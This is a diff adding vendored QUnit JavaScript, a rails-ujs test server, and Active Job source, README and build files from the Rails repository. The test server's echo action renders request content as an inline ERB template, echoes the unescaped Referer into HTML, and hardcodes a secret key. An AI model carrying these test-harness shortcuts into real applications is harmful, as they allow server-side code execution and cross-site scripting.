+					return "recursion(" + (inStack - stack.length) + ")";
+				}
+				if ( type === "function" )  {
+					stack.push( obj );
+					res = parser.call( this, obj, stack );
+					stack.pop();
+					return res;
+				}
+				return ( type === "string" ) ? parser : this.parsers.error;
+			},
+			typeOf: function( obj ) {
+				var type;
+				if ( obj === null ) {
+					type = "null";
+				} else if ( typeof obj === "undefined" ) {
+					type = "undefined";
+				} else if ( QUnit.is( "regexp", obj) ) {
+					type = "regexp";
+				} else if ( QUnit.is( "date", obj) ) {
+					type = "date";
+				} else if ( QUnit.is( "function", obj) ) {
+					type = "function";
+				} else if ( typeof obj.setInterval !== undefined && typeof obj.document !== "undefined" && typeof obj.nodeType === "undefined" ) {
+					type = "window";
+				} else if ( obj.nodeType === 9 ) {
+					type = "document";
+				} else if ( obj.nodeType ) {
+					type = "node";
+				} else if (
+					// native arrays
+					toString.call( obj ) === "[object Array]" ||
+					// NodeList objects
+					( typeof obj.length === "number" && typeof obj.item !== "undefined" && ( obj.length ? obj.item(0) === obj[0] : ( obj.item( 0 ) === null && typeof obj[0] === "undefined" ) ) )
+				) {
+					type = "array";
+				} else if ( obj.constructor === Error.prototype.constructor ) {
+					type = "error";
+				} else {
+					type = typeof obj;
+				}
+				return type;
+			},
+			separator: function() {
+				return this.multiline ?	this.HTML ? "<br />" : "\n" : this.HTML ? "&nbsp;" : " ";
+			},
+			// extra can be a number, shortcut for increasing-calling-decreasing
+			indent: function( extra ) {
+				if ( !this.multiline ) {
+					return "";
+				}
+				var chr = this.indentChar;
+				if ( this.HTML ) {
+					chr = chr.replace( /\t/g, "   " ).replace( / /g, "&nbsp;" );
+				}
+				return new Array( this.depth + ( extra || 0 ) ).join(chr);
+			},
+			up: function( a ) {
+				this.depth += a || 1;
+			},
+			down: function( a ) {
+				this.depth -= a || 1;
+			},
+			setParser: function( name, parser ) {
+				this.parsers[name] = parser;
+			},
+			// The next 3 are exposed so you can use them
+			quote: quote,
+			literal: literal,
+			join: join,
+			//
+			depth: 1,
+			// This is the list of parsers, to modify them, use jsDump.setParser
+			parsers: {
+				window: "[Window]",
+				document: "[Document]",
+				error: function(error) {
+					return "Error(\"" + error.message + "\")";
+				},
+				unknown: "[Unknown]",
+				"null": "null",
+				"undefined": "undefined",
+				"function": function( fn ) {
+					var ret = "function",
+						// functions never have name in IE
+						name = "name" in fn ? fn.name : (reName.exec(fn) || [])[1];
+
+					if ( name ) {
+						ret += " " + name;
+					}
+					ret += "( ";
+
+					ret = [ ret, QUnit.jsDump.parse( fn, "functionArgs" ), "){" ].join( "" );
+					return join( ret, QUnit.jsDump.parse(fn,"functionCode" ), "}" );
+				},
+				array: array,
+				nodelist: array,
+				"arguments": array,
+				object: function( map, stack ) {
+					/*jshint forin:false */
+					var ret = [ ], keys, key, val, i;
+					QUnit.jsDump.up();
+					keys = [];
+					for ( key in map ) {
+						keys.push( key );
+					}
+					keys.sort();
+					for ( i = 0; i < keys.length; i++ ) {
+						key = keys[ i ];
+						val = map[ key ];
+						ret.push( QUnit.jsDump.parse( key, "key" ) + ": " + QUnit.jsDump.parse( val, undefined, stack ) );
+					}
+					QUnit.jsDump.down();
+					return join( "{", ret, "}" );
+				},
+				node: function( node ) {
+					var len, i, val,
+						open = QUnit.jsDump.HTML ? "&lt;" : "<",
+						close = QUnit.jsDump.HTML ? "&gt;" : ">",
+						tag = node.nodeName.toLowerCase(),
+						ret = open + tag,
+						attrs = node.attributes;
+
+					if ( attrs ) {
+						for ( i = 0, len = attrs.length; i < len; i++ ) {
+							val = attrs[i].nodeValue;
+							// IE6 includes all attributes in .attributes, even ones not explicitly set.
+							// Those have values like undefined, null, 0, false, "" or "inherit".
+							if ( val && val !== "inherit" ) {
+								ret += " " + attrs[i].nodeName + "=" + QUnit.jsDump.parse( val, "attribute" );
+							}
+						}
+					}
+					ret += close;
+
+					// Show content of TextNode or CDATASection
+					if ( node.nodeType === 3 || node.nodeType === 4 ) {
+						ret += node.nodeValue;
+					}
+
+					return ret + open + "/" + tag + close;
+				},
+				// function calls it internally, it's the arguments part of the function
+				functionArgs: function( fn ) {
+					var args,
+						l = fn.length;
+
+					if ( !l ) {
+						return "";
+					}
+
+					args = new Array(l);
+					while ( l-- ) {
+						// 97 is 'a'
+						args[l] = String.fromCharCode(97+l);
+					}
+					return " " + args.join( ", " ) + " ";
+				},
+				// object calls it internally, the key part of an item in a map
+				key: quote,
+				// function calls it internally, it's the content of the function
+				functionCode: "[code]",
+				// node calls it internally, it's an html attribute value
+				attribute: quote,
+				string: quote,
+				date: quote,
+				regexp: literal,
+				number: literal,
+				"boolean": literal
+			},
+			// if true, entities are escaped ( <, >, \t, space and \n )
+			HTML: false,
+			// indentation unit
+			indentChar: "  ",
+			// if true, items in a collection, are separated by a \n, else just a space.
+			multiline: true
+		};
+
+	return jsDump;
+}());
+
+/*
+ * Javascript Diff Algorithm
+ *  By John Resig (http://ejohn.org/)
+ *  Modified by Chu Alan "sprite"
+ *
+ * Released under the MIT license.
+ *
+ * More Info:
+ *  http://ejohn.org/projects/javascript-diff-algorithm/
+ *
+ * Usage: QUnit.diff(expected, actual)
+ *
+ * QUnit.diff( "the quick brown fox jumped over", "the quick fox jumps over" ) == "the  quick <del>brown </del> fox <del>jumped </del><ins>jumps </ins> over"
+ */
+QUnit.diff = (function() {
+	/*jshint eqeqeq:false, eqnull:true */
+	function diff( o, n ) {
+		var i,
+			ns = {},
+			os = {};
+
+		for ( i = 0; i < n.length; i++ ) {
+			if ( !hasOwn.call( ns, n[i] ) ) {
+				ns[ n[i] ] = {
+					rows: [],
+					o: null
+				};
+			}
+			ns[ n[i] ].rows.push( i );
+		}
+
+		for ( i = 0; i < o.length; i++ ) {
+			if ( !hasOwn.call( os, o[i] ) ) {
+				os[ o[i] ] = {
+					rows: [],
+					n: null
+				};
+			}
+			os[ o[i] ].rows.push( i );
+		}
+
+		for ( i in ns ) {
+			if ( hasOwn.call( ns, i ) ) {
+				if ( ns[i].rows.length === 1 && hasOwn.call( os, i ) && os[i].rows.length === 1 ) {
+					n[ ns[i].rows[0] ] = {
+						text: n[ ns[i].rows[0] ],
+						row: os[i].rows[0]
+					};
+					o[ os[i].rows[0] ] = {
+						text: o[ os[i].rows[0] ],
+						row: ns[i].rows[0]
+					};
+				}
+			}
+		}
+
+		for ( i = 0; i < n.length - 1; i++ ) {
+			if ( n[i].text != null && n[ i + 1 ].text == null && n[i].row + 1 < o.length && o[ n[i].row + 1 ].text == null &&
+						n[ i + 1 ] == o[ n[i].row + 1 ] ) {
+
+				n[ i + 1 ] = {
+					text: n[ i + 1 ],
+					row: n[i].row + 1
+				};
+				o[ n[i].row + 1 ] = {
+					text: o[ n[i].row + 1 ],
+					row: i + 1
+				};
+			}
+		}
+
+		for ( i = n.length - 1; i > 0; i-- ) {
+			if ( n[i].text != null && n[ i - 1 ].text == null && n[i].row > 0 && o[ n[i].row - 1 ].text == null &&
+						n[ i - 1 ] == o[ n[i].row - 1 ]) {
+
+				n[ i - 1 ] = {
+					text: n[ i - 1 ],
+					row: n[i].row - 1
+				};
+				o[ n[i].row - 1 ] = {
+					text: o[ n[i].row - 1 ],
+					row: i - 1
+				};
+			}
+		}
+
+		return {
+			o: o,
+			n: n
+		};
+	}
+
+	return function( o, n ) {
+		o = o.replace( /\s+$/, "" );
+		n = n.replace( /\s+$/, "" );
+
+		var i, pre,
+			str = "",
+			out = diff( o === "" ? [] : o.split(/\s+/), n === "" ? [] : n.split(/\s+/) ),
+			oSpace = o.match(/\s+/g),
+			nSpace = n.match(/\s+/g);
+
+		if ( oSpace == null ) {
+			oSpace = [ " " ];
+		}
+		else {
+			oSpace.push( " " );
+		}
+
+		if ( nSpace == null ) {
+			nSpace = [ " " ];
+		}
+		else {
+			nSpace.push( " " );
+		}
+
+		if ( out.n.length === 0 ) {
+			for ( i = 0; i < out.o.length; i++ ) {
+				str += "<del>" + out.o[i] + oSpace[i] + "</del>";
+			}
+		}
+		else {
+			if ( out.n[0].text == null ) {
+				for ( n = 0; n < out.o.length && out.o[n].text == null; n++ ) {
+					str += "<del>" + out.o[n] + oSpace[n] + "</del>";
+				}
+			}
+
+			for ( i = 0; i < out.n.length; i++ ) {
+				if (out.n[i].text == null) {
+					str += "<ins>" + out.n[i] + nSpace[i] + "</ins>";
+				}
+				else {
+					// `pre` initialized at top of scope
+					pre = "";
+
+					for ( n = out.n[i].row + 1; n < out.o.length && out.o[n].text == null; n++ ) {
+						pre += "<del>" + out.o[n] + oSpace[n] + "</del>";
+					}
+					str += " " + out.n[i].text + nSpace[i] + pre;
+				}
+			}
+		}
+
+		return str;
+	};
+}());
+
+// For browser, export only select globals
+if ( typeof window !== "undefined" ) {
+	extend( window, QUnit.constructor.prototype );
+	window.QUnit = QUnit;
+}
+
+// For CommonJS environments, export everything
+if ( typeof module !== "undefined" && module.exports ) {
+	module.exports = QUnit;
+}
+
+
+// Get a reference to the global object, like window in browsers
+}( (function() {
+	return this;
+})() ));
diff --git a/actionview/test/ujs/server.rb b/actionview/test/ujs/server.rb
new file mode 100644
index 0000000000..7d1bab4b2a
--- /dev/null
+++ b/actionview/test/ujs/server.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require "rack"
+require "rails"
+require "action_controller/railtie"
+require "action_view/railtie"
+require "blade"
+require "json"
+
+module UJS
+  class Server < Rails::Application
+    routes.append do
+      get "/rails-ujs.js" => Blade::Assets.environment
+      get "/" => "tests#index"
+      match "/echo" => "tests#echo", via: :all
+      get "/error" => proc { |env| [403, {}, []] }
+    end
+
+    config.cache_classes = false
+    config.eager_load = false
+    config.secret_key_base = "59d7a4dbd349fa3838d79e330e39690fc22b931e7dc17d9162f03d633d526fbb92dfdb2dc9804c8be3e199631b9c1fbe43fc3e4fc75730b515851849c728d5c7"
+    config.paths["app/views"].unshift("#{Rails.root}/views")
+    config.public_file_server.enabled = true
+    config.logger = Logger.new(STDOUT)
+    config.log_level = :error
+  end
+end
+
+module TestsHelper
+  def test_to(*names)
+    names = ["/vendor/qunit.js", "settings"] + names
+    names.map { |name| script_tag name }.join("\n").html_safe
+  end
+
+  def script_tag(src)
+    src = "/test/#{src}.js" unless src.index("/")
+    %(<script src="#{src}" type="text/javascript"></script>).html_safe
+  end
+end
+
+class TestsController < ActionController::Base
+  helper TestsHelper
+  layout "application"
+
+  def index
+    render :index
+  end
+
+  def echo
+    data = { params: params.to_unsafe_h }.update(request.env)
+
+    if params[:content_type] && params[:content]
+      render inline: params[:content], content_type: params[:content_type]
+    elsif request.xhr?
+      render json: JSON.generate(data)
+    elsif params[:iframe]
+      payload = JSON.generate(data).gsub("<", "&lt;").gsub(">", "&gt;")
+      html = <<-HTML
+        <script>
+          if (window.top && window.top !== window)
+            window.top.jQuery.event.trigger('iframe:loaded', #{payload})
+        </script>
+        <p>You shouldn't be seeing this. <a href="#{request.env['HTTP_REFERER']}">Go back</a></p>
+      HTML
+
+      render html: html.html_safe
+    else
+      render plain: "ERROR: #{request.path} requested without ajax", status: 404
+    end
+  end
+end
+
+Blade.initialize!
+UJS::Server.initialize!
diff --git a/actionview/test/ujs/views/layouts/application.html.erb b/actionview/test/ujs/views/layouts/application.html.erb
new file mode 100644
index 0000000000..c787e77b84
--- /dev/null
+++ b/actionview/test/ujs/views/layouts/application.html.erb
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<html id="html">
+  <head>
+    <title><%= @title %></title>
+    <link href="/vendor/qunit.css" media="screen" rel="stylesheet" type="text/css" media="screen, projection" />
+    <script src="/vendor/jquery-2.2.0.js" type="text/javascript"></script>
+    <script>
+      // This is for test in override.js.
+      // Must go before rails-ujs.
+      document.addEventListener('rails:attachBindings', function() {
+        window.Rails.linkClickSelector += ', a[data-custom-remote-link]';
+        // Hijacks link click before ujs binds any handlers
+        // This is only used for ctrl-clicking test on remote links
+        window.Rails.delegate(document, '#qunit-fixture a', 'click', function(e) {
+          e.preventDefault();
+        });
+      });
+    </script>
+    <%= script_tag "/rails-ujs.js" %>
+  </head>
+
+  <body id="body">
+    <%= yield %>
+  </body>
+</html>
diff --git a/actionview/test/ujs/views/tests/index.html.erb b/actionview/test/ujs/views/tests/index.html.erb
new file mode 100644
index 0000000000..8de6cd0695
--- /dev/null
+++ b/actionview/test/ujs/views/tests/index.html.erb
@@ -0,0 +1,11 @@
+<% @title = "rails-ujs test" %>
+
+<%= test_to 'data-confirm', 'data-remote', 'data-disable', 'data-disable-with', 'call-remote', 'call-remote-callbacks', 'data-method', 'override', 'csrf-refresh', 'csrf-token' %>
+
+<h1 id="qunit-header"><%= @title %></h1>
+<h2 id="qunit-banner"></h2>
+<div id="qunit-testrunner-toolbar"></div>
+<h2 id="qunit-userAgent"></h2>
+<ol id="qunit-tests"></ol>
+
+<div id="qunit-fixture"></div>
diff --git a/activejob/CHANGELOG.md b/activejob/CHANGELOG.md
new file mode 100644
index 0000000000..77dfdefc05
--- /dev/null
+++ b/activejob/CHANGELOG.md
@@ -0,0 +1,8 @@
+*   Change logging instrumentation to log errors when a job raises an exception.
+
+    Fixes #26848.
+
+    *Steven Bull*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/activejob/CHANGELOG.md) for previous changes.
diff --git a/activejob/MIT-LICENSE b/activejob/MIT-LICENSE
new file mode 100644
index 0000000000..daa726b9f0
--- /dev/null
+++ b/activejob/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2014-2017 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/activejob/README.md b/activejob/README.md
new file mode 100644
index 0000000000..8becac7753
--- /dev/null
+++ b/activejob/README.md
@@ -0,0 +1,126 @@
+# Active Job -- Make work happen later
+
+Active Job is a framework for declaring jobs and making them run on a variety
+of queueing backends. These jobs can be everything from regularly scheduled
+clean-ups, to billing charges, to mailings. Anything that can be chopped up into
+small units of work and run in parallel, really.
+
+It also serves as the backend for Action Mailer's #deliver_later functionality
+that makes it easy to turn any mailing into a job for running later. That's
+one of the most common jobs in a modern web application: sending emails outside
+of the request-response cycle, so the user doesn't have to wait on it.
+
+The main point is to ensure that all Rails apps will have a job infrastructure
+in place, even if it's in the form of an "immediate runner". We can then have
+framework features and other gems build on top of that, without having to worry
+about API differences between Delayed Job and Resque. Picking your queuing
+backend becomes more of an operational concern, then. And you'll be able to
+switch between them without having to rewrite your jobs.
+
+
+## Usage
+
+To learn how to use your preferred queueing backend see its adapter
+documentation at
+[ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+Declare a job like so:
+
+```ruby
+class MyJob < ActiveJob::Base
+  queue_as :my_jobs
+
+  def perform(record)
+    record.do_work
+  end
+end
+```
+
+Enqueue a job like so:
+
+```ruby
+MyJob.perform_later record  # Enqueue a job to be performed as soon as the queueing system is free.
+```
+
+```ruby
+MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record)  # Enqueue a job to be performed tomorrow at noon.
+```
+
+```ruby
+MyJob.set(wait: 1.week).perform_later(record) # Enqueue a job to be performed 1 week from now.
+```
+
+That's it!
+
+
+## GlobalID support
+
+Active Job supports [GlobalID serialization](https://github.com/rails/globalid/) for parameters. This makes it possible
+to pass live Active Record objects to your job instead of class/id pairs, which
+you then have to manually deserialize. Before, jobs would look like this:
+
+```ruby
+class TrashableCleanupJob
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+Now you can simply do:
+
+```ruby
+class TrashableCleanupJob
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+This works with any class that mixes in GlobalID::Identification, which
+by default has been mixed into Active Record classes.
+
+
+## Supported queueing systems
+
+Active Job has built-in adapters for multiple queueing backends (Sidekiq,
+Resque, Delayed Job and others). To get an up-to-date list of the adapters
+see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+## Auxiliary gems
+
+* [activejob-stats](https://github.com/seuros/activejob-stats)
+
+## Download and installation
+
+The latest version of Active Job can be installed with RubyGems:
+
+```
+  $ gem install activejob
+```
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/activejob
+
+## License
+
+Active Job is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+## Support
+
+API documentation is at:
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/activejob/Rakefile b/activejob/Rakefile
new file mode 100644
index 0000000000..6f13ef449d
--- /dev/null
+++ b/activejob/Rakefile
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+
+#TODO: add qu back to the list after it support Rails 5.1
+ACTIVEJOB_ADAPTERS = %w(async inline delayed_job que queue_classic resque sidekiq sneakers sucker_punch backburner test)
+ACTIVEJOB_ADAPTERS.delete("queue_classic") if defined?(JRUBY_VERSION)
+
+task default: :test
+task test: "test:default"
+
+task :package
+
+namespace :test do
+  desc "Run all adapter tests"
+  task :default do
+    run_without_aborting ACTIVEJOB_ADAPTERS.map { |a| "test:#{a}" }
+  end
+
+  desc "Run all adapter tests in isolation"
+  task :isolated do
+    run_without_aborting ACTIVEJOB_ADAPTERS.map { |a| "test:isolated:#{a}" }
+  end
+
+  desc "Run integration tests for all adapters"
+  task :integration do
+    run_without_aborting (ACTIVEJOB_ADAPTERS - ["test"]).map { |a| "test:integration:#{a}" }
+  end
+
+  task "env:integration" do
+    ENV["AJ_INTEGRATION_TESTS"] = "1"
+  end
+
+  ACTIVEJOB_ADAPTERS.each do |adapter|
+    task("env:#{adapter}") { ENV["AJ_ADAPTER"] = adapter }
+
+    Rake::TestTask.new(adapter => "test:env:#{adapter}") do |t|
+      t.description = "Run adapter tests for #{adapter}"
+      t.libs << "test"
+      t.test_files = FileList["test/cases/**/*_test.rb"]
+      t.verbose = true
+      t.warning = false
+      t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+    end
+
+    namespace :isolated do
+      task adapter => "test:env:#{adapter}" do
+        Dir.glob("#{__dir__}/test/cases/**/*_test.rb").all? do |file|
+          sh(Gem.ruby, "-w", "-I#{__dir__}/lib", "-I#{__dir__}/test", file)
+        end || raise("Failures")
+      end
+    end
+
+    namespace :integration do
+      Rake::TestTask.new(adapter => ["test:env:#{adapter}", "test:env:integration"]) do |t|
+        t.description = "Run integration tests for #{adapter}"
+        t.libs << "test"
+        t.test_files = FileList["test/integration/**/*_test.rb"]
+        t.verbose = true
+        t.warning = false
+        t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+      end
+    end
+  end
+end
+
+def run_without_aborting(tasks)
+  errors = []
+
+  tasks.each do |task|
+    begin
+      Rake::Task[task].invoke
+    rescue Exception
+      errors << task
+    end
+  end
+
+  abort "Errors running #{errors.join(', ')}" if errors.any?
+end
diff --git a/activejob/activejob.gemspec b/activejob/activejob.gemspec
new file mode 100644
index 0000000000..71e32f695b
--- /dev/null
+++ b/activejob/activejob.gemspec
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "activejob"
+  s.version     = version
+  s.summary     = "Job framework with pluggable queues."
+  s.description = "Declare job classes that can be run by a variety of queueing backends."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.md", "lib/**/*"]
+  s.require_path = "lib"
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/activejob",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/activejob/CHANGELOG.md"
+  }
+
+  s.add_dependency "activesupport", version
+  s.add_dependency "globalid", ">= 0.3.6"
+end
diff --git a/activejob/bin/test b/activejob/bin/test
new file mode 100755
index 0000000000..c53377cc97
--- /dev/null
+++ b/activejob/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/activejob/lib/active_job.rb b/activejob/lib/active_job.rb
new file mode 100644
index 0000000000..56dab66544
--- /dev/null
+++ b/activejob/lib/active_job.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2014-2017 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "active_support"
+require "active_support/rails"
+require_relative "active_job/version"
+require "global_id"
+
+module ActiveJob
+  extend ActiveSupport::Autoload
+
+  autoload :Base
+  autoload :QueueAdapters
+  autoload :ConfiguredJob
+  autoload :TestCase
+  autoload :TestHelper
+end
diff --git a/activejob/lib/active_job/arguments.rb b/activejob/lib/active_job/arguments.rb
new file mode 100644
index 0000000000..de11e7fcb1
--- /dev/null
+++ b/activejob/lib/active_job/arguments.rb
@@ -0,0 +1,156 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash"
+
+module ActiveJob
+  # Raised when an exception is raised during job arguments deserialization.
+  #
+  # Wraps the original exception raised as +cause+.
+  class DeserializationError < StandardError
+    def initialize #:nodoc:
+      super("Error while trying to deserialize arguments: #{$!.message}")
+      set_backtrace $!.backtrace
+    end
+  end
+
+  # Raised when an unsupported argument type is set as a job argument. We
+  # currently support NilClass, Integer, Fixnum, Float, String, TrueClass, FalseClass,
+  # Bignum, BigDecimal, and objects that can be represented as GlobalIDs (ex: Active Record).
+  # Raised if you set the key for a Hash something else than a string or
+  # a symbol. Also raised when trying to serialize an object which can't be
+  # identified with a Global ID - such as an unpersisted Active Record model.
+  class SerializationError < ArgumentError; end
+
+  module Arguments
+    extend self
+    # :nodoc:
+    TYPE_WHITELIST = [ NilClass, String, Integer, Float, BigDecimal, TrueClass, FalseClass ]
+    TYPE_WHITELIST.push(Fixnum, Bignum) unless 1.class == Integer
+
+    # Serializes a set of arguments. Whitelisted types are returned
+    # as-is. Arrays/Hashes are serialized element by element.
+    # All other types are serialized using GlobalID.
+    def serialize(arguments)
+      arguments.map { |argument| serialize_argument(argument) }
+    end
+
+    # Deserializes a set of arguments. Whitelisted types are returned
+    # as-is. Arrays/Hashes are deserialized element by element.
+    # All other types are deserialized using GlobalID.
+    def deserialize(arguments)
+      arguments.map { |argument| deserialize_argument(argument) }
+    rescue
+      raise DeserializationError
+    end
+
+    private
+      # :nodoc:
+      GLOBALID_KEY = "_aj_globalid".freeze
+      # :nodoc:
+      SYMBOL_KEYS_KEY = "_aj_symbol_keys".freeze
+      # :nodoc:
+      WITH_INDIFFERENT_ACCESS_KEY = "_aj_hash_with_indifferent_access".freeze
+      private_constant :GLOBALID_KEY, :SYMBOL_KEYS_KEY, :WITH_INDIFFERENT_ACCESS_KEY
+
+      def serialize_argument(argument)
+        case argument
+        when *TYPE_WHITELIST
+          argument
+        when GlobalID::Identification
+          convert_to_global_id_hash(argument)
+        when Array
+          argument.map { |arg| serialize_argument(arg) }
+        when ActiveSupport::HashWithIndifferentAccess
+          result = serialize_hash(argument)
+          result[WITH_INDIFFERENT_ACCESS_KEY] = serialize_argument(true)
+          result
+        when Hash
+          symbol_keys = argument.each_key.grep(Symbol).map(&:to_s)
+          result = serialize_hash(argument)
+          result[SYMBOL_KEYS_KEY] = symbol_keys
+          result
+        else
+          raise SerializationError.new("Unsupported argument type: #{argument.class.name}")
+        end
+      end
+
+      def deserialize_argument(argument)
+        case argument
+        when String
+          GlobalID::Locator.locate(argument) || argument
+        when *TYPE_WHITELIST
+          argument
+        when Array
+          argument.map { |arg| deserialize_argument(arg) }
+        when Hash
+          if serialized_global_id?(argument)
+            deserialize_global_id argument
+          else
+            deserialize_hash(argument)
+          end
+        else
+          raise ArgumentError, "Can only deserialize primitive arguments: #{argument.inspect}"
+        end
+      end
+
+      def serialized_global_id?(hash)
+        hash.size == 1 && hash.include?(GLOBALID_KEY)
+      end
+
+      def deserialize_global_id(hash)
+        GlobalID::Locator.locate hash[GLOBALID_KEY]
+      end
+
+      def serialize_hash(argument)
+        argument.each_with_object({}) do |(key, value), hash|
+          hash[serialize_hash_key(key)] = serialize_argument(value)
+        end
+      end
+
+      def deserialize_hash(serialized_hash)
+        result = serialized_hash.transform_values { |v| deserialize_argument(v) }
+        if result.delete(WITH_INDIFFERENT_ACCESS_KEY)
+          result = result.with_indifferent_access
+        elsif symbol_keys = result.delete(SYMBOL_KEYS_KEY)
+          result = transform_symbol_keys(result, symbol_keys)
+        end
+        result
+      end
+
+      # :nodoc:
+      RESERVED_KEYS = [
+        GLOBALID_KEY, GLOBALID_KEY.to_sym,
+        SYMBOL_KEYS_KEY, SYMBOL_KEYS_KEY.to_sym,
+        WITH_INDIFFERENT_ACCESS_KEY, WITH_INDIFFERENT_ACCESS_KEY.to_sym,
+      ]
+      private_constant :RESERVED_KEYS
+
+      def serialize_hash_key(key)
+        case key
+        when *RESERVED_KEYS
+          raise SerializationError.new("Can't serialize a Hash with reserved key #{key.inspect}")
+        when String, Symbol
+          key.to_s
+        else
+          raise SerializationError.new("Only string and symbol hash keys may be serialized as job arguments, but #{key.inspect} is a #{key.class}")
+        end
+      end
+
+      def transform_symbol_keys(hash, symbol_keys)
+        hash.transform_keys do |key|
+          if symbol_keys.include?(key)
+            key.to_sym
+          else
+            key
+          end
+        end
+      end
+
+      def convert_to_global_id_hash(argument)
+        { GLOBALID_KEY => argument.to_global_id.to_s }
+      rescue URI::GID::MissingModelIdError
+        raise SerializationError, "Unable to serialize #{argument.class} " \
+          "without an id. (Maybe you forgot to call save?)"
+      end
+  end
+end
diff --git a/activejob/lib/active_job/base.rb b/activejob/lib/active_job/base.rb
new file mode 100644
index 0000000000..6af41260db
--- /dev/null
+++ b/activejob/lib/active_job/base.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require_relative "core"
+require_relative "queue_adapter"
+require_relative "queue_name"
+require_relative "queue_priority"
+require_relative "enqueuing"
+require_relative "execution"
+require_relative "callbacks"
+require_relative "exceptions"
+require_relative "logging"
+require_relative "translation"
+
+module ActiveJob #:nodoc:
+  # = Active Job
+  #
+  # Active Job objects can be configured to work with different backend
+  # queuing frameworks. To specify a queue adapter to use:
+  #
+  #   ActiveJob::Base.queue_adapter = :inline
+  #
+  # A list of supported adapters can be found in QueueAdapters.
+  #
+  # Active Job objects can be defined by creating a class that inherits
+  # from the ActiveJob::Base class. The only necessary method to
+  # implement is the "perform" method.
+  #
+  # To define an Active Job object:
+  #
+  #   class ProcessPhotoJob < ActiveJob::Base
+  #     def perform(photo)
+  #       photo.watermark!('Rails')
+  #       photo.rotate!(90.degrees)
+  #       photo.resize_to_fit!(300, 300)
+  #       photo.upload!
+  #     end
+  #   end
+  #
+  # Records that are passed in are serialized/deserialized using Global
+  # ID. More information can be found in Arguments.
+  #
+  # To enqueue a job to be performed as soon as the queueing system is free:
+  #
+  #   ProcessPhotoJob.perform_later(photo)
+  #
+  # To enqueue a job to be processed at some point in the future:
+  #
+  #   ProcessPhotoJob.set(wait_until: Date.tomorrow.noon).perform_later(photo)
+  #
+  # More information can be found in ActiveJob::Core::ClassMethods#set
+  #
+  # A job can also be processed immediately without sending to the queue:
+  #
+  #  ProcessPhotoJob.perform_now(photo)
+  #
+  # == Exceptions
+  #
+  # * DeserializationError - Error class for deserialization errors.
